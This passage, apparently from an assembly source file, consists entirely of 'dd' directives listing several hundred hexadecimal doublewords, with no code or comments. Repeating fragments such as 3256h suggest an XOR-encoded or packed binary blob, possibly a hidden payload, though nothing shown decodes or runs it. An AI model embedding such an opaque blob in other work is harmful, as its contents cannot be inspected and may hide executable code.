		dd 68063D58h, 0DA6A3937h, 0EAB1E3D2h, 75A3DB56h, 0FE663256h
		dd 734115C3h, 3A52200Eh, 532B45A0h, 10775D41h, 0DA6F09AEh
		dd 0EAB14AD3h, 75A0DB56h, 7A1D3256h, 0A06F417Eh, 9144DF4h
		dd 1323D067h, 0CBFCAD30h, 7762B236h, 74DFC5E8h,	7E59532Fh
		dd 77B13256h, 0EC80C681h, 7F6F4DE3h, 0DCD7556Fh, 20D06B8Fh
		dd 54BE3E0Bh, 0EAB1325Ah, 75B7B759h, 30BE3256h,	5DB13256h
		dd 0AEA9BA59h, 44583256h, 8B13256h, 1F79815Dh, 0E043DD3Ah
		dd 5EEA482Eh, 83AA55F1h, 2388D6Fh, 0A858C75Ah, 0C1B13256h
		dd 0BD3090E1h, 0C176B127h, 15FBDBAFh, 7C58CDA9h, 2EB13256h
		dd 0F7C15707h, 0CAD0DD67h, 57BFDA36h, 0C4A03256h, 6383A346h
		dd 0BB8D6C38h, 8F4F60EBh, 0B5EB5336h, 5DB136D0h, 8C0E5456h
		dd 0DCD75356h, 0A6595248h, 0D2B13256h, 5F7A4D1Eh, 0A2532607h
		dd 0E5FE13D5h, 0DDD06BA3h, 2ABEDAADh, 57B1361Ch, 0ABB120BFh
		dd 35C14956h, 2AFA59EEh, 0C4041987h, 65C5ACA7h,	0DDC123B6h
		dd 2ABEDBADh, 57B1367Ch, 404AB2A3h, 0D191B659h,	3D13256h
		dd 75B13242h, 3F1F74EFh, 0B27224C5h, 0F9B4BD5h,	38EBD214h
		dd 0BF3D315h, 0CC9A93E9h, 0E5D15342h, 75B12AD0h, 0BAA3DA56h
		dd 0A11B3256h, 4B6FD961h, 6C2584EEh, 23FCCA37h,	0D8B6B1EBh
		dd 8B69B90Fh, 7A53C9D6h, 0BAB2F5D2h, 5DB4DB56h,	806B3256h
		dd 375AE0F4h, 0ABB7BD59h, 3D303256h, 80AF136Eh,	33B48A30h
		dd 594AB237h, 5ED2B659h, 0BE583256h, 5FB13256h,	0B6E668AEh
		dd 0AD724B5Ch, 9B60B4CBh, 132D289Ah, 59D6C9D7h,	5E33B659h
		dd 0A1D13256h, 57B139D5h, 0ABB7DB56h, 0FE133256h, 2236C3Ah
		dd 144BB930h, 0B541D5D6h, 5DB129D3h, 0BB3D3D56h, 0BEB13256h
		dd 0ABB13246h, 98F4F162h, 4A612CC5h, 5E514E6h, 55365575h
		dd 524AB330h, 0E5353DD6h, 58B13255h, 0ABB139DAh, 0D5B7DB56h
		dd 8E4D3256h, 4E11F33Ah, 0DA41D1D6h, 657EB330h,	0CF1F811Dh
		dd 0B8305436h, 0A4E0FF71h, 0D5B132D2h, 6AD06856h, 0F1BE42ADh
		dd 0BAB13140h, 433A54AEh, 0AEB123BFh, 7E8A2E56h, 0F7F66F05h
		dd 0D9C9D6Ah, 99BD892Ch, 96311154h, 0BABDDBAEh,	348B3256h
		dd 71751D82h, 2587DDE6h, 0A4D10DAAh, 0D5B131D9h, 2D0E3D56h
		dd 8E3153A3h, 39353DEEh, 0B4B13257h, 0AEB13253h, 0D8EC39C3h
		dd 0AE8FB206h, 0D4C1B659h, 3D13256h, 75B1325Ch,	0A8AD77E6h
		dd 0EDC86BC9h, 10D7C8AFh, 0D7D08279h, 2FBE1F68h, 0D5B13304h
		dd 0EAB122BFh, 4DA3E556h, 5AD9748Dh, 50E41056h,	90D0FB5Ch
		dd 3F8FB217h, 0AA85B659h, 5EBE3256h, 0EAB1324Bh, 75A6B159h
		dd 0A8583256h, 95B13256h, 0FC19002h, 0EB28D3DEh, 5B98B4F3h
		dd 7B1D5086h, 0EAB6DB05h, 94F73256h, 0A6BF63B9h, 0F233CDFBh
		dd 0A1B72B2Bh, 57B139D5h, 11D75256h, 54D722E2h,	8B044B84h
		dd 9CAFB930h, 0BAB13253h, 36C9E3F9h, 25D752DDh,	57B7DAADh
		dd 0CB6D3256h, 0FD3910F3h, 0EAB1BD59h, 14EF3256h, 4649D5D6h
		dd 0DC4AB330h, 15353DBEh, 58B13256h, 0ABB133DAh, 5ED7CB56h
		dd 0D31CB48h, 0F4D7C7A6h, 0B571B3ADh, 5DB193D2h, 563A5256h
		dd 2741B330h, 0A4D153D7h, 0D5B122D0h, 0EABADB56h, 0F2E03256h
		dd 629F42FFh, 8DCF5493h, 0BF586796h, 0FCB13256h, 0A65902D2h
		dd 4858B189h, 0BD25705Bh, 49B31071h, 0C176A0A9h, 5158344Fh
		dd 7B13256h, 0D5549A36h, 4DCF36B5h, 88BF8CC1h, 0EAB0BF59h
		dd 0FC493256h, 0B5D1CE13h, 5DB12AD9h, 0AEA2DB56h, 44933256h
		dd 87BA6CA1h, 80EA5E80h, 0CE7625DAh, 0BD82F367h, 0DB7AB91Ch
		dd 0EFD15237h, 0AE313DFCh, 36B13256h, 57CCB137h, 9D343D57h
		dd 8AB13254h, 75B6DBAFh, 281A3256h, 0F21147C5h,	143A5397h
		dd 51A23CEFh, 0ABB13CBFh, 0C4795256h, 353B187Eh, 70611B70h
		dd 4F904442h, 4C3A3D06h, 47B13256h, 57B1325Ah, 4DE7E549h
		dd 0AA7AEB29h, 1D731242h, 0DA33B9AFh, 0DAB72B2Bh, 8E31E3DCh
		dd 9288535Ah, 0D6D75266h, 42E3798Dh, 0D5B13253h, 0D26C81D8h
		dd 2D48535Ah, 0BB6CB059h, 0B5D13256h, 0AEB1325Ah, 0D2BCEC95h
		dd 67DB27E6h, 0ECDAE4F3h, 0B57B8D59h, 1490E4D6h, 932888DDh
		dd 0D9BE3445h, 0AEB13241h, 57B120BFh, 80428756h, 12442389h
		dd 8725E204h, 2DD95CEEh, 0EA2648EAh, 5DB6BE59h,	24BE3256h
		dd 57B13257h, 433B9AEh,	0B5B72B2Bh, 0DA8D0B37h,	410E5436h
		dd 0AC363DD8h, 0B5B13256h, 0AEB13246h, 0A43367BFh, 0C6794ED8h
		dd 47DD8D32h, 7E675628h, 0FED1530Ch, 0DBD152A6h, 3C4ED8D6h
		dd 21BE6A37h, 57B13305h, 0ABA0BA59h, 0D9583256h, 1AB13256h
		dd 96A36A78h, 20C6C4C2h
		dd 0B4DE2552h, 0AEB13218h, 0AFF4F5AEh, 0ABB13254h, 0D5AABD59h
		dd 6ABE3256h, 75B13243h, 0BAB122BFh, 43652056h,	8B0D2B85h
		dd 6B3B7B02h, 4B35698Bh, 0CA58C71Ah, 1FB13256h,	75BBB759h
		dd 0BF583256h, 0E3B13256h, 9C3FC317h, 56497791h, 0A4B13256h
		dd 0D5B133DEh, 503ACA56h, 73A8491Bh, 433A5436h,	5DB13DBEh
		dd 0B04EAC56h, 2404432h, 0B91A700Ch, 6BA5BFF2h,	7C398930h
		dd 6A3A530Dh, 0BAB123BFh, 8D4E6256h, 0CF60E4CDh, 8A1161E0h
		dd 6AE1FC41h, 0EBAF28Ah, 0EA14B659h, 0F4D13256h, 3725F285h
		dd 0DEBE5203h, 0AEB13256h, 0A97BC1D7h, 0CAD02FD8h, 50BEEC6Dh
		dd 0EAB13201h, 13D05236h, 31D0C2DDh, 0B4D13E0Bh, 0AEB13250h
		dd 230C599Ch, 503A77E2h, 2DCCB137h, 0CB353D56h,	9CB13256h
		dd 0BAB13251h, 641F80D5h, 52E6E580h, 0BE496F55h, 0ABB1325Ah
		dd 26976B34h, 6EB14084h, 3C392BA1h, 53B56DDFh, 5DB1325Dh
		dd 0EFD46AF1h, 35FC6898h, 28924051h, 58BE2691h,	0EAB13257h
		dd 8AEDDBA3h, 0ECD1CDA9h, 0BBF2F8D7h, 0C8EF00E9h, 64D0E8DDh
		dd 0CA485296h, 0D5B476BFh, 0F50B5256h, 13CB4EFBh, 0DCD0E1DDh
		dd 5A582CDDh, 0BB13256h, 5365223Ah, 43D1CBCFh, 0D5B1325Eh
		dd 0F8210373h, 0A7F3D9BDh, 0DBEB5336h, 52BD4FDDh, 0AEB13BDDh
		dd 58445256h, 0ABB132DFh, 2E315356h, 89353DBDh,	7AB13256h
		dd 0BAB121D9h, 57585256h, 0F9B13256h, 0BD98A298h, 63977EF1h
		dd 0B46FB931h, 0E541D1D6h, 75B123DAh, 0B13A3D56h, 0B4B13256h
		dd 0AEB13250h, 0B8CAF06Ah, 50313D5Dh, 66353D26h, 16B13256h
		dd 1E338A36h, 0B5D1381Fh, 5DB132DBh, 47D05356h,	57B13368h
		dd 0ABBDB359h, 50BE3256h, 0EAB13250h, 75B1B659h, 0BD773256h
		dd 5B373DBFh, 0CEB13256h, 0AE70B930h, 0AAF6F537h, 0D5B13256h
		dd 0EAB9DB36h, 0E2A3256h, 0FB92B8B0h, 50588BCAh, 94B13256h
		dd 4F459262h, 7425B8C7h, 8ABB6116h, 8A76B937h, 0CE06EAD7h
		dd 0E8D11B63h, 0B230540Fh, 0CFD0AA20h, 57B120BFh, 0A76C2D56h
		dd 3E35461Bh, 0FDC4BA23h, 0D5391860h, 391B30AEh, 50583796h
		dd 0E0B13256h, 5AAE8FBAh, 0BD2BEBEAh, 220DB152h, 0EAB512BFh
		dd 0BE305256h, 0EFF19B64h, 0BD305436h, 910799E4h, 90D75337h
		dd 57B93D51h, 0B3D12CDCh, 5178F7ECh, 134A9BFDh,	0BAA3DB37h
		dd 811B3256h, 0F12BFA35h, 8C0199AEh, 2CCF3508h,	30332D5Ah
		dd 8ABED1D6h, 75B13FBFh, 2028E556h, 0E0C9D100h,	0C5EA88E5h
		dd 0DCD7C69Ah, 603153A7h, 8A39CBD6h, 24095257h,	1488949Bh
		dd 0BAB37591h, 0B4B13256h, 0AEB13253h, 37A1CA78h, 4276B91Fh
		dd 0D5B1325Ch, 0FA40794Ch, 101BEE35h, 7A32CF8Dh, 0CF58CE50h
		dd 0CEB13255h, 3B7BD1D7h, 0AD595371h, 8B13256h,	8E191BB8h
		dd 75BBDB1Eh, 2DA13256h, 49BA546Eh, 0F50E9B7Ah,	0D6D7530Dh
		dd 0A421A268h, 0D5B14FD2h, 0B305256h, 0F3220BCh, 0BAB2B859h
		dd 89313256h, 9031538Bh, 3B343DC6h, 0CBB13256h,	0D5B138BFh
		dd 0B65B6E56h, 3F7271A7h, 2C70111h, 32468447h, 0AEBBDB37h
		dd 0FD863256h, 66C29F98h, 0D09847C4h, 15CFB330h, 0F1BEA2C6h
		dd 0BAB13264h, 5DB138BFh, 95032C56h, 0B4292601h, 42ED1B4Ch
		dd 0D5B1325Ch, 0D180ACF2h, 5086547Ah, 0A2583E6Bh, 52B13256h
		dd 0AEB13BDDh, 584D5256h, 0ABB132D6h, 123A5356h, 0E86EDBAEh
		dd 0F84D3256h, 0A3CFADD4h, 0CD095250h, 0C8A85B5Dh, 0BE1FBD7h
		dd 0FD486237h, 0D23CDA3h, 12B72B2Dh, 9CD1C736h,	0BAB1325Bh
		dd 0C312EA5h, 2ECBD56Fh, 956B1E59h, 0CAE5822Fh,	0DA713937h
		dd 0EAB192D2h, 64585256h, 0E8B13256h, 0BCFCC181h, 901C6972h
		dd 413C0CA3h, 0CE348243h, 0D5B134BEh, 0A6A4E856h, 13FA42FAh
		dd 62C7E4D7h, 953A5308h, 0AEA9B059h, 0D2BE3256h, 0ABB13244h
		dd 0D5B13FBFh, 4EA29B56h, 6576E1BAh, 68185B2Fh,	0D0BEF8B6h
		dd 0AEB13243h, 57B122BFh, 496B7E56h, 75E305BBh,	0E11F6F4h
		dd 0F8F1EBE4h, 2503BFAEh, 0B4B72B28h, 0AEB1325Ah, 0CFD5CA44h
		dd 605B5745h, 0CB498EA0h, 0EAB1A8BFh, 6F303D56h, 0DAB13256h
		dd 5DB120BFh, 0BDD61D56h, 21DC20FCh, 3D155F5Eh,	6A6FD7BAh
		dd 168CBB70h, 64586437h, 2AB13256h, 0E27DB621h,	61640F12h
		dd 2AE3D027h, 0F236732Ah, 0D5B137BFh, 84BC4356h, 0BB3A433Dh
		dd 0A9586136h, 8BB13256h, 9027A4A8h, 80A0637Eh,	9C69927Eh
		dd 0ECFD4201h, 8CEA9F02h, 7A10E4D7h, 0B4586737h, 0ACB13256h
		dd 0AAB0D030h, 8F4C7EA2h, 0B50C33Ch, 1223CDCDh,	13B72B2Dh
		dd 0B500520Bh, 0DBE8CA05h, 0AA49FC7Dh, 25D7528Fh, 57333DA6h
		dd 0CAB13256h, 56446CAAh, 0E5B0CA2Bh, 75B181D3h, 0BE3E3D56h
		dd 3DB13256h, 1ED0FDDDh, 57B4DB1Fh, 0AB883256h,	7F2A9E13h
		dd 0EAB9B659h, 0F0BE3256h, 0BAB13254h, 0DCD15336h, 4662ED85h
		dd 0EFD7535Ah, 28BEB759h, 0D5B1325Ah, 0EAB7BE59h, 0F2BE3256h
		dd 0BAB13256h, 0DEBE9930h, 0AEB1325Eh, 57B3BA59h, 0CAD13256h
		dd 0F90B6536h, 0B4E3A09Eh, 33073D37h, 38BE5257h, 5DB13246h
		dd 0AEB138BEh, 0BDB0E256h, 9F328E99h, 8A9851DDh, 3960B330h
		dd 7A1A53CEh, 0BAB133D0h, 8458CA56h, 47B13256h,	57B13245h
		dd 0DB8CB33Dh, 3EFFF384h, 0A69295F1h, 0AC445994h, 0B5EB4817h
		dd 5DB139DAh, 0AEB7DB56h, 45F03256h, 99BF3DA4h,	0D7494FD5h
		dd 0EA3BB759h, 0F5D13256h, 0DBE6F8Fh, 0E5D7539Dh, 22BEFB5Dh
		dd 57B1325Bh, 0ABB13ABFh, 7C4E756h, 340B3E02h, 610A5230h
		dd 319EE6CAh, 0F6D7538Ch, 0A10954AAh, 0FCD7C7D2h, 0ED073DAFh
		dd 6ABE5257h, 93054A6h,	7AD0B71Bh, 0BAB121D8h, 5DBFDB56h
		dd 5A463256h, 9F4C8E47h, 9B4F5A32h, 0E3C68054h,	0EAA0DBFDh
		dd 0DFBA3256h, 1263930Ch, 40A5A8F1h, 0B19C66EFh, 0BED9B2EBh
		dd 0ABB13266h, 0D5B0B959h, 0E5483256h, 75B135D5h, 3BD75256h
		dd 3CF821A4h, 47D196A5h, 57B13251h, 10ECAD60h, 0B5A478EFh
		dd 1D28D30h, 14D0F5DDh,	0DB6FB936h, 4F58F5DDh, 65B13256h
		dd 5BEB4F5h, 3C3DE77Eh,	73F96A42h, 769868F4h, 2C496957h
		dd 0BAB121BFh, 23196156h, 6740F0F4h, 0BCE8E328h, 0C75E74FEh
		dd 0FFA76AF4h, 0EAB13ABFh, 0CE407656h, 0A792344Bh, 5A586C68h
		dd 8BB13256h, 8B0EA6FCh, 28BEA7B0h, 0D5B1325Eh,	0EAB3B059h
		dd 14D13256h, 31D75209h, 3CD152ADh, 0AEB137BFh,	6B814A56h
		dd 0CAD0E175h, 0DD73CB9Fh, 0E8323D56h, 15B13256h, 0B5D15237h
		dd 5DB132DAh, 0A76EB356h, 36FE2861h, 0CAEACE06h, 0C63F3D03h
		dd 3B13256h, 75B13258h,	0F948DA5h, 96330F5Dh, 65443F18h
		dd 0BB3A77FDh, 0BA5852AAh, 0EFB13256h, 7E94CE56h, 90187076h
		dd 0FB76D89Fh, 8FBFDD0Eh, 0AEB132BEh, 0BD306856h, 0ADA89EBDh
		dd 0D5B13DBFh, 450E2F56h, 828873E0h, 0BA55CCE2h, 43C2DA50h
		dd 0AEB126BFh, 702BB256h, 708C28D9h, 0E78406C3h, 5BEC1F04h
		dd 0C7F651BFh, 0FF3ACEDCh, 5DBCDB5Eh, 763D3256h, 73E47155h
		dd 30A5AA19h, 0B580C34Ch, 0EAB120BFh, 0BBF13656h, 3958233Dh
		dd 11FCC6C5h, 6A6F5A12h, 0DDEB390Ah, 293853BDh,	0D3A84924h
		dd 0EAB139BFh, 9250FC56h, 0D9241A44h, 69860D05h, 0A85853AAh
		dd 0E4B13256h, 3412C0E8h, 0DE58FBB6h, 26B13256h, 0EFF8F647h
		dd 4264DEF0h, 0D2BE2D37h, 0AEB13257h, 57B5F0AFh, 574467AEh
		dd 0B4D1DEDDh, 349F6D5h, 75B13244h, 0BE680CFFh,	875B785Ah
		dd 0F5FF7C6h, 0EDF896C8h, 0CB4954BFh, 0D5A2B359h, 0E4583256h
		dd 0A4B13256h, 7C3E9134h
		dd 0DBF3E50Dh, 108F061Eh, 5759CE01h, 0F1B13256h, 7860D8D7h
		dd 0E358344Fh, 0B7B13256h, 0FFC297C5h, 5F6BDE6Bh, 356EB336h
		dd 5890385Dh, 0CBD0FAE1h, 0D5B7B859h, 23303256h, 0F812436h
		dd 0DB7FB930h, 5D497791h, 47B13256h, 57B13247h,	0B2F3784h
		dd 46C54068h, 7ABE0641h, 0A22E42F6h, 46F4F580h,	5DB13256h
		dd 0AEB13CBFh, 0A7AB8A56h, 0DFC8172Dh, 0D07C5E46h, 0D9EEE959h
		dd 0F9BE5296h, 0BAB13250h, 5DB1B559h, 0CED03256h, 5158E1DDh
		dd 0F1B13256h, 22529100h, 61D75378h, 75B9DB48h,	0C5373256h
		dd 7304B4EFh, 2C76389Dh, 51A84FF9h, 0ABB13257h,	0D5A0B159h
		dd 0E6583256h, 4DB13256h, 81222AC0h, 0F9624940h, 0A158DAFAh
		dd 57B133DAh, 2AD7CB56h, 0DA21A2ADh, 0EAB129D3h, 75BCDB56h
		dd 407E3256h, 8A310C1h,	88E4272Bh, 379D7971h, 5C84C0EEh
		dd 0B46FB975h, 0E559C9D6h, 75B426D2h, 0B5F1CE56h, 5DB123DBh
		dd 0A5313D56h, 0BEB13256h, 0ABB13250h, 0F4A743CDh, 1131A972h
		dd 87353DBFh, 0B5B13252h, 5DB12BD4h, 0AEA5DB56h, 69823256h
		dd 1C64E775h, 46D9ADCDh, 1E4C22DDh, 0CD3920D1h,	46F1CA15h
		dd 525AC9D6h, 0AEB5FAD2h, 57B7DB56h, 45AD3256h,	0F776B7CCh
		dd 8B6FB936h, 9231CE16h, 0AB5852A6h, 84B13256h,	4D761EDCh
		dd 94B92EADh, 81EA29AFh, 0A133EEEDh, 11305437h,	0F1BEB259h
		dd 0BAB136C7h, 7C3331AFh, 5BB72144h, 31D15216h,	21C9C0D7h
		dd 0D5B120BEh, 0D4FC4C56h, 3A733A43h, 0F5318820h, 56FCFF12h
		dd 0F70CA3E3h, 57A1DB37h, 99DB3256h, 0FC6591B7h, 18B997D0h
		dd 436B3ACBh, 3AD04761h, 0D9BED0ADh, 0AEB13649h, 3660B936h
		dd 0A452C9D6h, 0D5B2DED2h, 0E53D3D56h, 9CB13256h, 0BAB1325Ch
		dd 34F20532h, 0E51721D5h, 0BFD126EBh, 0ABB13246h, 0E101CCBEh
		dd 17879270h, 0A9655ADCh, 412FBCB3h, 5DB120BFh,	1198FD56h
		dd 80B5D8Dh, 0C4AA1F0Eh, 0BBFB4A2Ch, 0B2CB1DFCh, 2C53B330h
		dd 3BD75342h, 525255ADh, 0AEB28CD2h, 0A03A5256h, 0B9FC8A30h
		dd 2552B237h, 0EAB9BF59h, 0F1BE3256h, 0BAB13254h, 0A6315336h
		dd 68353D26h, 0BEB13255h, 0ABB13247h, 0A93473DCh, 10A85B5Fh
		dd 23EF3AE7h, 0B7125A99h, 433A54AEh, 5652B2A3h,	57B0BE59h
		dd 2B483256h, 51BE8AADh, 0EAB133F1h, 75B13EBFh,	8B82CA56h
		dd 4BA9D1E0h, 68EACBCh,	528FB2FCh, 0AA3CB659h, 57BE3256h
		dd 0EAB13244h, 75B13FBFh, 85044356h, 0C1ECF4EFh, 0C57656A3h
		dd 0D5BE286Eh, 0ABB1325Dh, 0D5B134BFh, 0A3CFC356h, 0F580AB5Ah
		dd 3EBE1F68h, 5DB1330Dh, 770E3D36h, 3640B930h, 0A4D90CD6h
		dd 0D5B078D2h, 1FF1CE56h, 733B3D36h, 0B5B13256h, 5DB132DBh
		dd 2C4E5356h, 51A84FF9h, 0ABBCDB36h, 7B773256h,	1D469053h
		dd 322868E4h, 0DB3F068Eh, 3DAFB930h, 0AEB7B759h, 9C303256h
		dd 0AF8D9693h, 0D5B3BD59h, 0B5E13256h, 0F4D75237h, 0B561F891h
		dd 5DB130DBh, 0CFEB6256h, 3749D5D6h, 0CDD05236h, 0B4F1C4EDh
		dd 0EAB126BEh, 0F2DBAC56h, 729231AEh, 0F9EE448Ch, 0DA35EDEEh
		dd 31E765EBh, 0CDD06B5Fh, 3D30C9D7h, 0EA74B659h, 134D3256h
		dd 30BE2CDDh, 5DB1325Ah, 0AEB7BC59h, 0DEBE3256h, 0ABB13256h
		dd 2556B2AAh, 0EAB135BFh, 8E04A756h, 0EDE20968h, 0A63054AAh
		dd 2ABEF2D7h, 57B132C5h, 24BE52AEh, 0D5B13251h,	0EAB0B259h
		dd 20443256h, 0BAB13CBFh, 5DD41356h, 0D9A15767h, 0B0462052h
		dd 5483668Eh, 0CCCAF5C4h, 60D15250h, 0BC305490h, 0B5D0E122h
		dd 5DB130D9h, 0CFD05256h, 5B303D0Bh, 0A4B13256h, 0D5B134DEh
		dd 0EA3F3D56h, 9CB13256h, 0BAB13259h, 1D3197D8h, 0BA58AABCh
		dd 1AB5CACh, 22567835h,	0D958CE13h, 0E4B13256h,	4F83F0Ch
		dd 0FB5F9702h, 0B4ED09D7h, 0AEB1325Ch, 0AE558F8Dh, 172DDC10h
		dd 29D09008h, 0EB4D4FD5h, 73DDB759h, 31483256h,	4EBF8BECh
		dd 0B3353D50h, 58B13256h, 0ABB125D5h, 0D5A3DB56h, 5A593256h
		dd 0F961C828h, 5A162C56h, 6D527C1Fh, 0D26CFDA7h, 57B4DB06h
		dd 5CAF3256h, 5E9D6255h, 0F3CC9DD4h, 4988CE50h,	0BAB8DB66h
		dd 83CD3256h, 0BC459066h, 58A6CB91h, 0ABB137D7h, 5ED75256h
		dd 0E5E95398h, 75B73FD4h, 3ACB56h, 5BA21BCFh, 0AEA8BB59h
		dd 43583256h, 0BEB13256h, 93FA8399h, 0D194DF8Eh, 7E7F1226h
		dd 4B46FE6Ah, 0DD1CFB2h, 0AEBEBB59h, 5D583256h,	4AB13256h
		dd 252C589Ah, 36E4D9F2h, 0F73ACB42h, 0BCA84FF9h, 5F3A3D36h
		dd 0F8B13256h, 6B88530Fh, 0A4E9C766h, 0D5B487D9h, 0FB393D56h
		dd 9CB13256h, 0BAB1325Ah, 9BD6DECEh, 9AD1AB5h, 0DB9D7B88h
		dd 0F00BB9AAh, 0DAB72B2Dh, 0EAB123D4h, 7E353D56h, 53B13256h
		dd 5DB13250h, 0A5B3F970h, 0D5321EC6h, 0ADA8490Dh, 55D1CE42h
		dd 63D0CF8Eh, 0A2315261h, 703A542Ch, 4DF6BB37h,	0A5585236h
		dd 0A8B13256h, 27CFD820h, 68F11B20h, 6BD7F75Dh,	1494B3BEh
		dd 3FBE6237h, 5DB13243h, 0AEBEB159h, 5D583256h,	32B13256h
		dd 48BA67AEh, 661C2331h, 0DA33B999h, 46B72B2Bh,	0B4812EDDh
		dd 0AEB1325Dh, 328A6A2Bh, 0E95ECE14h, 8D9C6878h, 0EAA6BA59h
		dd 67583256h, 98B13256h, 40F6B686h, 0DA78056Ch,	82DAD076h
		dd 0B5F61D3Bh, 0DDEEBBEAh, 8C748236h, 14D25FE9h, 0BAB5DBBFh
		dd 47323D56h, 0A1B13256h, 57B126DEh, 0ABBEDB56h, 17333256h
		dd 89769EC7h, 3363AD93h, 0E9204167h, 0A5F4F593h, 0AEB13254h
		dd 99063D36h, 7C305237h, 0C5662337h, 0EA86DB37h, 0F4BE3256h
		dd 0BAB13251h, 5DB0B959h, 694D3256h, 57B0CA13h,	42D13256h
		dd 0D5B1325Dh, 3536251Ah, 0CA37E1CBh, 0B5B77108h, 5DB139D7h
		dd 0AEB4DA56h, 302B3256h, 0F08E48C2h, 8E0BB937h, 8AB72B2Dh
		dd 75B0BA59h, 0DB4D3256h, 26EAB0D5h, 0CEA5344Fh, 57A3B159h
		dd 0A7593256h, 0CAB13256h, 64303C1h, 3D110AD7h,	0E147BFC8h
		dd 3BEE6436h, 81DBC4D7h, 0D0BE5337h, 0ABB13257h, 2C86BBA3h
		dd 8AA175DFh, 7649B137h, 0BA87B759h, 9A443256h,	0B7CC9DD4h
		dd 57B13050h, 0ABBADB56h, 7F6F3256h, 0D0C7669h,	0A24B3D68h
		dd 0BA91DB9Dh, 4C583256h, 2FB13256h, 3E243C5Eh,	29F88E4Bh
		dd 34796209h, 0D500E90Fh, 7AB3CAD5h, 0BAB309DBh, 2032C756h
		dd 2ABE32AEh, 57B132D7h, 0ABBAB059h, 55D13256h,	6DBEF7B6h
		dd 75B13256h, 0CBEC737h, 0F44D3310h, 0AEB132D6h, 5795B759h
		dd 0EB443256h, 0D5BADB36h, 1EBB3256h, 84820A6Ch, 0DE90B1Eh
		dd 0B53253F2h, 8358C753h, 58B13256h, 0ABB133DBh, 2A9CC756h
		dd 0E5B13256h, 75B135DAh, 0BB313D56h, 0A1B13256h, 47B4DAD5h
		dd 57B1325Ah, 0FAA3946Eh, 85423E6Dh, 3BD080EAh,	75B160BFh
		dd 0B03C3D56h, 3DB13256h, 2DBE2FE1h, 57B13256h,	22BE6137h
		dd 0D5B1325Ch, 0EAB137BFh, 82FB6156h, 203A58D9h, 5BA84FF9h
		dd 0AEB123BFh, 0A9D8A656h, 0ABB29511h, 4CC54279h, 1E05B71Fh
		dd 713AB56Ah, 53EAC765h, 5DB1325Dh, 132609A4h, 0D3F2969Eh
		dd 29DF8DEh, 55B13256h,	0EACCB759h, 7A443256h, 0BAB13ED9h
		dd 5B303D56h, 0A1B13256h, 57B132D8h, 53773156h,	0B5B4F2D5h
		dd 0EAB13BBEh, 50081E56h, 8C19C959h, 3CEFC723h,	13331A3h
		dd 0AFB72B2Bh, 0ABB8DB1Eh, 0C75F3256h, 0A1ED367Fh, 0FC6AA095h
		dd 0AA583A11h, 0F5B13256h, 0D556C280h, 0E5AECE04h, 7AE8F5E4h
		dd 5C3E9134h, 3483E11h,	75B130F8h, 0A8383D36h, 0B4B13256h
		dd 0AEB1325Bh, 2A1FBC63h, 0F41AA776h, 706F495h,	1D4853B8h
		dd 75B9DB8Eh, 4BFC3256h
		dd 0B32CA214h, 0A1D120BFh, 57B130D4h, 0CBD05256h, 0E9B189EEh
		dd 183A5402h, 0B39A5337h, 0BAB9BC59h, 0DCD13256h, 3AFF084h
		dd 8F465358h, 0ABB120BFh, 8A759D56h, 2156B2B4h,	8889A6EBh
		dd 90CCFA3Ah, 0DE0EF8DBh, 21BE3796h, 57B1325Fh,	16518B36h
		dd 0B4D14D6Dh, 45333137h, 89B72B2Bh, 0B358521Eh, 0FB13256h
		dd 3BE3B8E9h, 0EE9FE173h, 0CA4BB930h, 0B5B975DFh, 0EAB122BFh
		dd 6E214256h, 51AB27F6h, 0A53D1AE5h, 51496198h,	0A531609Eh
		dd 22D06B65h, 5FBE3E11h, 0EAB1324Fh, 75B126BFh,	1D0ED756h
		dd 0B7A9F55Dh, 3672DD6h, 0C6F7801Dh, 0E0BCCEFEh, 0D5A1DB04h
		dd 1D7E3256h, 5E61DDACh, 3E513E2Ch, 0CC2C1781h,	1158C803h
		dd 0BEB13257h, 0ABB1325Ah, 4081D549h, 0D41F03EDh, 363CDF26h
		dd 0B548F265h, 5DB13DDCh, 0AEBBDB56h, 0F1603256h, 7DAF53FFh
		dd 0DBD96608h, 3B074DCh, 75B1325Ah, 7B2A83A9h, 0D291C5A3h
		dd 886C1BABh, 0D2BEB2FEh, 0ABB132E9h, 0D5B126BFh, 0A4927B56h
		dd 3A043303h, 8E9B58F5h, 701D8506h, 2F303551h, 0BE77312Dh
		dd 0ABB1325Dh, 3EEBA6D1h, 7FA18125h, 0F6BA97CDh, 0B4583096h
		dd 0EDB13256h, 0EB94FD9Fh, 41C1C29h, 0D1751E17h, 0D5B08999h
		dd 0E14D3256h, 36353D8Dh, 0DAB13256h, 5DB123BEh, 0E5664856h
		dd 3A06252Ah, 2C290A5Fh, 8A5E860h, 283AFBB5h, 0EF0F5409h
		dd 203B53A9h, 5BA9A97Fh, 0AEB126BFh, 0F71D2E56h, 9C9D282Ah
		dd 0A4AA2DCDh, 338B45C0h, 165E112Eh, 5931CE7Bh,	9EB2CB57h
		dd 0AEA5DB36h, 53863256h, 0C2116D04h, 20CF3724h, 0E4E65728h
		dd 0FBB161Ch, 33D09483h, 0A4443A11h, 52BD75DFh,	570DDBAEh
		dd 5C443256h, 0D5A3DB8Eh, 0D3BB3256h, 909AD37Ch, 3C591135h
		dd 219C7960h, 4EB46647h, 57BAB059h, 0AD583256h,	1EB13256h
		dd 4F2FC261h, 754E1786h, 0B4583256h, 63B13256h,	8185C5EFh
		dd 8BB4FAF2h, 2C9815F2h, 0DA771967h, 0EAB135D4h, 74383D56h
		dd 43B13256h, 0B5D1EAA1h, 0AEB1325Ah, 66A9A68Bh, 1267E13Bh
		dd 41EE94C9h, 0F95869AFh, 10B13256h, 8F20CFD1h,	933E29DBh
		dd 9EDF82AEh, 22587944h, 42D06EE8h, 0D5B1325Bh,	372288EDh
		dd 0E06FA90Eh, 40EFB62Fh, 5F71B1E6h, 0AEB13ABFh, 0F8B37556h
		dd 0A288F905h, 0DDF6BB5Ah, 0E6F6BBAAh, 0B23A5436h, 0BAB13ABFh
		dd 0BDE9556h, 0F25067F8h, 584953E0h, 0ABB139D7h, 990E5256h
		dd 8C83319Ch, 148A4EEEh, 0B2313D37h, 3DB13256h,	0D3BC8830h
		dd 9ED05336h, 25BEF1AEh, 0D5B1324Eh, 0EAA3B059h, 78583256h
		dd 1FB13256h, 1902759Ch, 5C0F8137h, 8651ADF5h, 0ABBDDB03h
		dd 0D2013256h, 6EDCDAC6h, 6EBBED4h, 563A08A6h, 0BD305436h
		dd 2DD0D75Fh, 0D6BECE92h, 0ABB13251h, 0D5B0B759h, 8A4D3256h
		dd 75B6B759h, 3FBE3256h, 5DB13257h, 0AEB1DAA3h,	0D6EB3256h
